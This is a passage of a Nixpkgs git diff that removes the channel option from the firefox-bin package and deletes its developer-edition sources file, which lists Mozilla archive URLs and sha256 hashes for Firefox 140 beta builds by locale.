-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/vi/Firefox%20140.0b6.dmg";
-      locale = "vi";
-      arch = "mac";
-      sha256 = "0afa6ce2c479289cc88973ff877bc5c3d25ecf60a6fd8c8c65d08bb60dea16f7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/xh/Firefox%20140.0b6.dmg";
-      locale = "xh";
-      arch = "mac";
-      sha256 = "96ccfcd62e221d67e1f58e279396af1c0ae4b39eb96873df419b78ef5e002fd4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/zh-CN/Firefox%20140.0b6.dmg";
-      locale = "zh-CN";
-      arch = "mac";
-      sha256 = "1c682d40183b7256d5e0759399cb486639ce56cce460811f962e754ee9196ac2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/zh-TW/Firefox%20140.0b6.dmg";
-      locale = "zh-TW";
-      arch = "mac";
-      sha256 = "bba2984115271c7a9c21d80b98b373a5b44c032e7b966b45602fec6904df7e0e";
-    }
-  ];
-}
diff --git a/pkgs/applications/networking/browsers/firefox-bin/default.nix b/pkgs/applications/networking/browsers/firefox-bin/default.nix
index 885627bbfb7a..33c12077a374 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/default.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/default.nix
@@ -14,7 +14,6 @@
   pciutils,
   pipewire,
   adwaita-icon-theme,
-  channel,
   generated,
   writeScript,
   writeText,
@@ -34,8 +33,7 @@ let
 
   inherit (generated) version sources;
 
-  binaryName =
-    if (channel == "release" || stdenv.hostPlatform.isDarwin) then "firefox" else "firefox-${channel}";
+  binaryName = "firefox";
 
   mozillaPlatforms = {
     i686-linux = "linux-i686";
@@ -68,7 +66,7 @@ let
 
   source = lib.findFirst (sourceMatches mozLocale) defaultSource sources;
 
-  pname = "firefox-${channel}-bin-unwrapped";
+  pname = "firefox-bin-unwrapped";
 in
 
 stdenv.mkDerivation {
@@ -141,7 +139,6 @@ stdenv.mkDerivation {
     updateScript = import ./update.nix {
       inherit
         pname
-        channel
         lib
         writeScript
         xidel
@@ -152,11 +149,7 @@ stdenv.mkDerivation {
         curl
         runtimeShell
         ;
-      baseUrl =
-        if channel == "developer-edition" then
-          "https://archive.mozilla.org/pub/devedition/releases/"
-        else
-          "https://archive.mozilla.org/pub/firefox/releases/";
+      baseUrl = "https://archive.mozilla.org/pub/firefox/releases/";
     };
   };
 
diff --git a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
deleted file mode 100644
index 02dcc819e4f8..000000000000
--- a/pkgs/applications/networking/browsers/firefox-bin/developer-edition_sources.nix
+++ /dev/null
@@ -1,2477 +0,0 @@
-{
-  version = "140.0b5";
-  sources = [
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ach/firefox-140.0b5.tar.xz";
-      locale = "ach";
-      arch = "linux-x86_64";
-      sha256 = "1f0375f886207ee6dde86ddbb12445774197020d37d749560618865b479b98d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/af/firefox-140.0b5.tar.xz";
-      locale = "af";
-      arch = "linux-x86_64";
-      sha256 = "7e7cf35862873d17ab3bbc1feb285d79b263b8a3cd78e310dabef83ba622979e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/an/firefox-140.0b5.tar.xz";
-      locale = "an";
-      arch = "linux-x86_64";
-      sha256 = "95700689dccb1e1035f8642c4fd3ccba7cd7985b967992cabd75ab82d3bf83d5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ar/firefox-140.0b5.tar.xz";
-      locale = "ar";
-      arch = "linux-x86_64";
-      sha256 = "214f50dcc2566cef3db820eef8b211187d1f46ab973b55bce948f975166ec527";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ast/firefox-140.0b5.tar.xz";
-      locale = "ast";
-      arch = "linux-x86_64";
-      sha256 = "9847906a18ee8f83708c20954443cecd00644b83f0b9fbbd3fc435e728fc3881";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/az/firefox-140.0b5.tar.xz";
-      locale = "az";
-      arch = "linux-x86_64";
-      sha256 = "73dd33ed39918c78a298808fbd6666e122ef5bb8e027437e5b84c9fd0ed49c8e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/be/firefox-140.0b5.tar.xz";
-      locale = "be";
-      arch = "linux-x86_64";
-      sha256 = "dc15d821f6ef14ad47e1faaf47fa33e1f47e6d2fe2c6991c1b05c42b93caa646";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/bg/firefox-140.0b5.tar.xz";
-      locale = "bg";
-      arch = "linux-x86_64";
-      sha256 = "15754b928c5de3ad978134ec7a41cab691e80541a7b77d40f587a4ef49056ca3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/bn/firefox-140.0b5.tar.xz";
-      locale = "bn";
-      arch = "linux-x86_64";
-      sha256 = "d6608a03f465ba43d6a19745d371e896f751c9965b39d48864fb51acd657ade9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/br/firefox-140.0b5.tar.xz";
-      locale = "br";
-      arch = "linux-x86_64";
-      sha256 = "e92b43c268562f6601367d8fcd5cbff941c0bde8c2f5e83f01a5e8606d25e1b4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/bs/firefox-140.0b5.tar.xz";
-      locale = "bs";
-      arch = "linux-x86_64";
-      sha256 = "d93a05def66a977d4a30fbd84c9238128ce1f4790584b7a8d649b953b97b63ca";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ca-valencia/firefox-140.0b5.tar.xz";
-      locale = "ca-valencia";
-      arch = "linux-x86_64";
-      sha256 = "ce716548b10a8dc0e61b065e9b388f00f83596f7cd02aad650260f6690bb3e26";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ca/firefox-140.0b5.tar.xz";
-      locale = "ca";
-      arch = "linux-x86_64";
-      sha256 = "649ca4101a10ef6dd1daa520b1cf6a131c1379298241db3cee23d5df6ef60677";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/cak/firefox-140.0b5.tar.xz";
-      locale = "cak";
-      arch = "linux-x86_64";
-      sha256 = "6fb8e27c6068aa3b91e4405b1c5272ef9258cc5d9ebc8b521129694faa7afdab";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/cs/firefox-140.0b5.tar.xz";
-      locale = "cs";
-      arch = "linux-x86_64";
-      sha256 = "665afa6ff95c2893d025827e19a2a00283f4317a5dbe70fd699b72f6c1b88032";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/cy/firefox-140.0b5.tar.xz";
-      locale = "cy";
-      arch = "linux-x86_64";
-      sha256 = "747e19b6455197097bff2376537e07a7b221683b57cd8f94d87531607f9c4c60";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/da/firefox-140.0b5.tar.xz";
-      locale = "da";
-      arch = "linux-x86_64";
-      sha256 = "3c07cb7562cccaee370526f6f3377eba01bd497d15b32e38813aaf20e872a6f1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/de/firefox-140.0b5.tar.xz";
-      locale = "de";
-      arch = "linux-x86_64";
-      sha256 = "3190ba13d9e483e6b245058e73fcfa2b14b45ecfca089e0d58b719903bcbc49f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/dsb/firefox-140.0b5.tar.xz";
-      locale = "dsb";
-      arch = "linux-x86_64";
-      sha256 = "b989fb3ef4c972bd17eb590e66e4f829bdcd1ec3d1a1f1cfe0c16607448c8e4b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/el/firefox-140.0b5.tar.xz";
-      locale = "el";
-      arch = "linux-x86_64";
-      sha256 = "b903e43d0e2d1ec0b434c979e90a00c4df1a39f59c5698b0dbdfc1f1eccae780";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/en-CA/firefox-140.0b5.tar.xz";
-      locale = "en-CA";
-      arch = "linux-x86_64";
-      sha256 = "1b6586b6d6e646f690d8ef05fe05a019e3320fbd16b4945ddcbb18bbf841ee80";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/en-GB/firefox-140.0b5.tar.xz";
-      locale = "en-GB";
-      arch = "linux-x86_64";
-      sha256 = "b80c1cf17aa66d6d1cf35f3166ca9d409ac169e7f33f7159daebfe7cc714f825";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/en-US/firefox-140.0b5.tar.xz";
-      locale = "en-US";
-      arch = "linux-x86_64";
-      sha256 = "e57259f92dc44630d5f0ed60e24cc3358cc7053754171134f1c8d5413aa297e0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/eo/firefox-140.0b5.tar.xz";
-      locale = "eo";
-      arch = "linux-x86_64";
-      sha256 = "b413dd6127f3661945a98691d972b72dde13dff6460e0a8a7cdf4b0b8ac05bf6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-AR/firefox-140.0b5.tar.xz";
-      locale = "es-AR";
-      arch = "linux-x86_64";
-      sha256 = "e832a156c248c826e2d4b3026fcec5dfa2c395a22de474d26a08d912e150b029";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-CL/firefox-140.0b5.tar.xz";
-      locale = "es-CL";
-      arch = "linux-x86_64";
-      sha256 = "72b105af7610696a56f0ac576d92f09c2890891bc6057988f9af7e803893dc7f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-ES/firefox-140.0b5.tar.xz";
-      locale = "es-ES";
-      arch = "linux-x86_64";
-      sha256 = "8b49655f00932ba12a7c4d182f00c69109130c0d55dfe9c58400c1d81c79aa70";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/es-MX/firefox-140.0b5.tar.xz";
-      locale = "es-MX";
-      arch = "linux-x86_64";
-      sha256 = "00ecb996a022264e13bd1d7877dbcbbefc16ebd272cb55d0e2bf6f59f17c1629";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/et/firefox-140.0b5.tar.xz";
-      locale = "et";
-      arch = "linux-x86_64";
-      sha256 = "371a145b068313d3bc2f2a2229e6db80a109b5d82c2030f9e952a1638dc79a31";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/eu/firefox-140.0b5.tar.xz";
-      locale = "eu";
-      arch = "linux-x86_64";
-      sha256 = "df1c9b82cdfafee8495e7c2f668fcad116866f9cff8047a3cee9490242386edd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fa/firefox-140.0b5.tar.xz";
-      locale = "fa";
-      arch = "linux-x86_64";
-      sha256 = "9209168394b752bd142ede109f93cb2291c58d61457a1d8e9835525a43befbd9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ff/firefox-140.0b5.tar.xz";
-      locale = "ff";
-      arch = "linux-x86_64";
-      sha256 = "f56c153920106cfe48bd822e6e1c8d1c9d9075bc868a06e3ad92a38a603f0b1d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fi/firefox-140.0b5.tar.xz";
-      locale = "fi";
-      arch = "linux-x86_64";
-      sha256 = "3dd2e61b36e421c21bab47aa32e72156197f650f1d930a39106b1519b30bc9a6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fr/firefox-140.0b5.tar.xz";
-      locale = "fr";
-      arch = "linux-x86_64";
-      sha256 = "83ca5faffd5679f63d9abf7ce95e68ef66e764e49ac0babdd35ec20217086a47";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fur/firefox-140.0b5.tar.xz";
-      locale = "fur";
-      arch = "linux-x86_64";
-      sha256 = "43e0cce06fb685e2a7c2dd0c19cb8d340d821976ca582400222626bc75cec5f6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/fy-NL/firefox-140.0b5.tar.xz";
-      locale = "fy-NL";
-      arch = "linux-x86_64";
-      sha256 = "804fbcdaecab060280ca1c86f92c41b9e5e4b8384eafebba56ce2524f8a2ae7d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ga-IE/firefox-140.0b5.tar.xz";
-      locale = "ga-IE";
-      arch = "linux-x86_64";
-      sha256 = "b4e9e07084cc1683befabd6353b7df48bb093c08d52eebf1c8ae571f106553bb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gd/firefox-140.0b5.tar.xz";
-      locale = "gd";
-      arch = "linux-x86_64";
-      sha256 = "37b708878f8835eb98214d236ba6749776dc98db251f4b5443b9405882920e51";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gl/firefox-140.0b5.tar.xz";
-      locale = "gl";
-      arch = "linux-x86_64";
-      sha256 = "a91659c8dcef37a9b94c71e8e0741ace6e705e9f36dfc65b1a604dcc50357ade";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gn/firefox-140.0b5.tar.xz";
-      locale = "gn";
-      arch = "linux-x86_64";
-      sha256 = "6d50592dc20b4e3b874eef21e50c5b5b5bff5fcce5d71c959c8c044e690648ca";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/gu-IN/firefox-140.0b5.tar.xz";
-      locale = "gu-IN";
-      arch = "linux-x86_64";
-      sha256 = "15ef43dba8a61a8fb0717b132b57d510f57f40ceeab758cfca5b4b7bb152cc55";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/he/firefox-140.0b5.tar.xz";
-      locale = "he";
-      arch = "linux-x86_64";
-      sha256 = "bb9c0e28b3526e2873728ed0b912cf3ac5aabbe48e7cd3181b75bbcd2706fa06";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hi-IN/firefox-140.0b5.tar.xz";
-      locale = "hi-IN";
-      arch = "linux-x86_64";
-      sha256 = "078f4ff60fedb0ca2f4955997cc9f80c77923195aa45ff9c4a9d428a5982ff4d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hr/firefox-140.0b5.tar.xz";
-      locale = "hr";
-      arch = "linux-x86_64";
-      sha256 = "7bde8d2f20e21705000f9ccde96ac4444a002d822e7d8b35b6b5550931a42b9d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hsb/firefox-140.0b5.tar.xz";
-      locale = "hsb";
-      arch = "linux-x86_64";
-      sha256 = "2143fe5abf7cbc3bcefdfb17cb6ab9e751bd33bf8b1e9a00fad356d3490b34d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hu/firefox-140.0b5.tar.xz";
-      locale = "hu";
-      arch = "linux-x86_64";
-      sha256 = "fbba0f840bc931ab4515fc8e5d9f38ac54ee090f127f381160c9f8a26f1d12cc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/hy-AM/firefox-140.0b5.tar.xz";
-      locale = "hy-AM";
-      arch = "linux-x86_64";
-      sha256 = "bd3259df39763727d25de9bba943bc4037535c90ba3ebfa42e7b1835b683e772";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ia/firefox-140.0b5.tar.xz";
-      locale = "ia";
-      arch = "linux-x86_64";
-      sha256 = "a0bd18ac32ff40fca8b255878013eee13a357d2aab8693376ca9e17d535bc8c8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/id/firefox-140.0b5.tar.xz";
-      locale = "id";
-      arch = "linux-x86_64";
-      sha256 = "de80edc3b03c238f448a7710fc74c061ed4a281692771667788cf2ad1afa175e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/is/firefox-140.0b5.tar.xz";
-      locale = "is";
-      arch = "linux-x86_64";
-      sha256 = "b85126641862e01bb17da1f8e316630157d7dfe18f4670579221b049f8edd891";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/it/firefox-140.0b5.tar.xz";
-      locale = "it";
-      arch = "linux-x86_64";
-      sha256 = "456adcf9c274637e211c8d0f19e64f288ab83a4a24b353fc55b399ed92ba8ebd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ja/firefox-140.0b5.tar.xz";
-      locale = "ja";
-      arch = "linux-x86_64";
-      sha256 = "90235c0a0fa89fb72e64760fa613ffed6bc4c829019a4fd4744e15be523891e9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ka/firefox-140.0b5.tar.xz";
-      locale = "ka";
-      arch = "linux-x86_64";
-      sha256 = "be4c4ed1517876d1b8fc6bc61827f2517e41a5f6456f9a66687948e458699da8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/kab/firefox-140.0b5.tar.xz";
-      locale = "kab";
-      arch = "linux-x86_64";
-      sha256 = "19e9316dd5b08edb3e44a067446c2d87fc222a562c1fca8f2b8985652b0b69b1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/kk/firefox-140.0b5.tar.xz";
-      locale = "kk";
-      arch = "linux-x86_64";
-      sha256 = "9bcd6689af6b3931acebdf57eae4d36b9fbe13e1efe7e1c458af146a6fca0b71";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/km/firefox-140.0b5.tar.xz";
-      locale = "km";
-      arch = "linux-x86_64";
-      sha256 = "461dec754f0c5acb4100fd980aa50244dba4f17129dba26bef5d25bc95bc7079";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/kn/firefox-140.0b5.tar.xz";
-      locale = "kn";
-      arch = "linux-x86_64";
-      sha256 = "d7b6b9442a088633245e7dfa9d75748d3c8a8549eeaac41b147d2d61e2ea2c52";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ko/firefox-140.0b5.tar.xz";
-      locale = "ko";
-      arch = "linux-x86_64";
-      sha256 = "97ba610de2be5754682a903f56bfb486301ea9fdd6fd59320715a05cac426bd5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/lij/firefox-140.0b5.tar.xz";
-      locale = "lij";
-      arch = "linux-x86_64";
-      sha256 = "0a96d7be3e3522ae802eca359080f99adaeb5cb534c0e96588a87b3c1f6899d3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/lt/firefox-140.0b5.tar.xz";
-      locale = "lt";
-      arch = "linux-x86_64";
-      sha256 = "2fd758c3e16e9c2289683bfe219f7b950269f21a359fec496c3fffbff915bb13";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/lv/firefox-140.0b5.tar.xz";
-      locale = "lv";
-      arch = "linux-x86_64";
-      sha256 = "b0375b051d45de1722893042c2a6adf36cfb0a463078da62603a06421610b2f2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/mk/firefox-140.0b5.tar.xz";
-      locale = "mk";
-      arch = "linux-x86_64";
-      sha256 = "fdc935009644294a4349474c28d087c29ca1a07934dc7b5ba11e34c367f858e0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/mr/firefox-140.0b5.tar.xz";
-      locale = "mr";
-      arch = "linux-x86_64";
-      sha256 = "38675d2e5500a21d93f8184f0e1839a490405dd56701bae901a1f4fecd0e41fa";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ms/firefox-140.0b5.tar.xz";
-      locale = "ms";
-      arch = "linux-x86_64";
-      sha256 = "9fe67041bba54945fbdf969c0c585bee99560132a2fe85db632400c08cf341d0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/my/firefox-140.0b5.tar.xz";
-      locale = "my";
-      arch = "linux-x86_64";
-      sha256 = "bc8d5e0d70b4c0ba24ba956b460f5d70fd6a9c2d09bb6effa9f142655ccb6547";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/nb-NO/firefox-140.0b5.tar.xz";
-      locale = "nb-NO";
-      arch = "linux-x86_64";
-      sha256 = "b97f0e0d3f2018d82778039a27a11b67021936c9bf526ff85b4795e6040fe563";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ne-NP/firefox-140.0b5.tar.xz";
-      locale = "ne-NP";
-      arch = "linux-x86_64";
-      sha256 = "05d9dd4c60971f42262e16cb42417acdbe36c595fada3bdac9b4ad1b9797d736";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/nl/firefox-140.0b5.tar.xz";
-      locale = "nl";
-      arch = "linux-x86_64";
-      sha256 = "ddf3b254e789cc5133ed56b3ddf83f8cec6b9f1b8d840d3885c92c3395b18198";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/nn-NO/firefox-140.0b5.tar.xz";
-      locale = "nn-NO";
-      arch = "linux-x86_64";
-      sha256 = "34aece8d99b5b0996b5fc46ce3bc622e052dce3bff8313c4248de22e2391823c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/oc/firefox-140.0b5.tar.xz";
-      locale = "oc";
-      arch = "linux-x86_64";
-      sha256 = "f7f36e08f8602abcaa855cde1f825e6ea68aeef51fb9ccf48cab40868ddb7ad0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pa-IN/firefox-140.0b5.tar.xz";
-      locale = "pa-IN";
-      arch = "linux-x86_64";
-      sha256 = "9a6d448c1b564dbe8f839ea47ff03d5f9b029895e095d916ac9d6b4e47957887";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pl/firefox-140.0b5.tar.xz";
-      locale = "pl";
-      arch = "linux-x86_64";
-      sha256 = "cfcec2e6a45f8808d5ac1ab24760b28a21c77851b607e358b225a144fbf87e97";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pt-BR/firefox-140.0b5.tar.xz";
-      locale = "pt-BR";
-      arch = "linux-x86_64";
-      sha256 = "b586d6f8327547fd985ab8ece9effe5ae508f839a9c4e85012c39174fab21eb4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/pt-PT/firefox-140.0b5.tar.xz";
-      locale = "pt-PT";
-      arch = "linux-x86_64";
-      sha256 = "4aec4f5a831ad1720d3705059ac2a7ada0842b730d9df5ba00b628f068209a6d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/rm/firefox-140.0b5.tar.xz";
-      locale = "rm";
-      arch = "linux-x86_64";
-      sha256 = "03fefcfec26e178b1af63f35c8889536a96af3f40f95ec967b7f47e3af28f061";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ro/firefox-140.0b5.tar.xz";
-      locale = "ro";
-      arch = "linux-x86_64";
-      sha256 = "8b0ad9ee6e3572bb46cd2ee3f0d2ce5c0a31801b713c28307b9239c124f9baee";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ru/firefox-140.0b5.tar.xz";
-      locale = "ru";
-      arch = "linux-x86_64";
-      sha256 = "81c813ef203182d8d1d3b66ba9f096dfa6be1620d013852f4582c728ebc1e08e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sat/firefox-140.0b5.tar.xz";
-      locale = "sat";
-      arch = "linux-x86_64";
-      sha256 = "171b85bf91ed8e51568ca1510455d6f12044a414604e0950c20ae9b7ab9e7425";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sc/firefox-140.0b5.tar.xz";
-      locale = "sc";
-      arch = "linux-x86_64";
-      sha256 = "dfe78faa9752928e3fa198379392963363c22669d6a830ab5d03fa596a436584";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sco/firefox-140.0b5.tar.xz";
-      locale = "sco";
-      arch = "linux-x86_64";
-      sha256 = "333cb935eafd06ede21d8f29fc9b94c2ef617f97b7ef29612af5842e57a0a20f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/si/firefox-140.0b5.tar.xz";
-      locale = "si";
-      arch = "linux-x86_64";
-      sha256 = "7fc61ce0118c16c866ae74e15aa68b8cba8a799afead5841efe85c799adbeb21";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sk/firefox-140.0b5.tar.xz";
-      locale = "sk";
-      arch = "linux-x86_64";
-      sha256 = "fbf4c3f430558a1925f8aeb263ef9f31313b7dac9a5f965cca5c58643d183e61";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/skr/firefox-140.0b5.tar.xz";
-      locale = "skr";
-      arch = "linux-x86_64";
-      sha256 = "ae4933c0bc448b40f44de22ea8ca6d3c65fc767df3e41a1224c44365a9c86f58";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sl/firefox-140.0b5.tar.xz";
-      locale = "sl";
-      arch = "linux-x86_64";
-      sha256 = "4a91e009d7ee4fb7586874212f5c8244c228836ca22f5eb7a2dbe2b915587492";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/son/firefox-140.0b5.tar.xz";
-      locale = "son";
-      arch = "linux-x86_64";
-      sha256 = "2448c45428dc05793a0fe4fe90209809879b4476d4199f942ca4e4bbdbf2b025";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sq/firefox-140.0b5.tar.xz";
-      locale = "sq";
-      arch = "linux-x86_64";
-      sha256 = "0f11bea317827b4fd23cbc6e3bb70aa10f7f879886c16a9106fee8521ca1f440";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sr/firefox-140.0b5.tar.xz";
-      locale = "sr";
-      arch = "linux-x86_64";
-      sha256 = "449844010b9fe25100d21a796203cd05353b3151ea012a7f6dcabd2992057c2d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/sv-SE/firefox-140.0b5.tar.xz";
-      locale = "sv-SE";
-      arch = "linux-x86_64";
-      sha256 = "f03a9888f5b98b3bf371bc0617a604892abda50220348bb76fa41d2600ad091e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/szl/firefox-140.0b5.tar.xz";
-      locale = "szl";
-      arch = "linux-x86_64";
-      sha256 = "68b101310ca823bb8ca02a86644704afdd6ce52378d96537cca4cbeee6670a5b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ta/firefox-140.0b5.tar.xz";
-      locale = "ta";
-      arch = "linux-x86_64";
-      sha256 = "199406d08eb4b0c0002123eb13bb43d894f19de3686406542b75b63ea9debdca";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/te/firefox-140.0b5.tar.xz";
-      locale = "te";
-      arch = "linux-x86_64";
-      sha256 = "4fe2b70b0038bd505b1d98d711bfb7495decaae51dbc9a7728e23ad05d72fc60";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/tg/firefox-140.0b5.tar.xz";
-      locale = "tg";
-      arch = "linux-x86_64";
-      sha256 = "bebe0aa276b1aa9c029898487ad71e4ab7e19419c973afd0bb308a86c70d1af1";
-    }
-    {
